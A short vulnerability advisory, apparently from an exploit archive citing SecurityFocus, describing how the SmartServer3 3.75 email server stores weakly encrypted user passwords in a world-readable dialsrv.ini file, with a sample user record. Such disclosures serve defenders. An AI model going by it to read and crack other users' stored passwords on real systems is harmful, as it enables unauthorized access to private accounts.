NetcPlus SmartServer3 3.75 - Weak Encryption

/*
source: https://www.securityfocus.com/bid/1962/info

SmartServer3 is an email server designed for small networks.

A design error exists in SmartServer3 which enables an authenticated user to view other users login information and possibly gain access to passwords. SmartServer3 by default intsalls in the C:\ProgramFiles\smartserver3/ directory and includes a configuration file called dialsrv.ini. This file is accessible by all Windows authenticated users and contains detailed user login information including the encrypted password. However SmartServer3 uses a weak encryption scheme which can easily be broken using a third party utility.

Successful exploitation yields unauthorized access to private data.

The following example of user login information found in the dialsrv.ini file is provided by Steven Alexander <[email protected]>:

[USER1]
realname=Carl Jones
id=Carl
dir=CARL
pw=~:kC@nD3~:
extml=0
alertport=
alert=
UserActive=1
MailLimit=0
MailMAxWarn=0
MailMaxSize=20
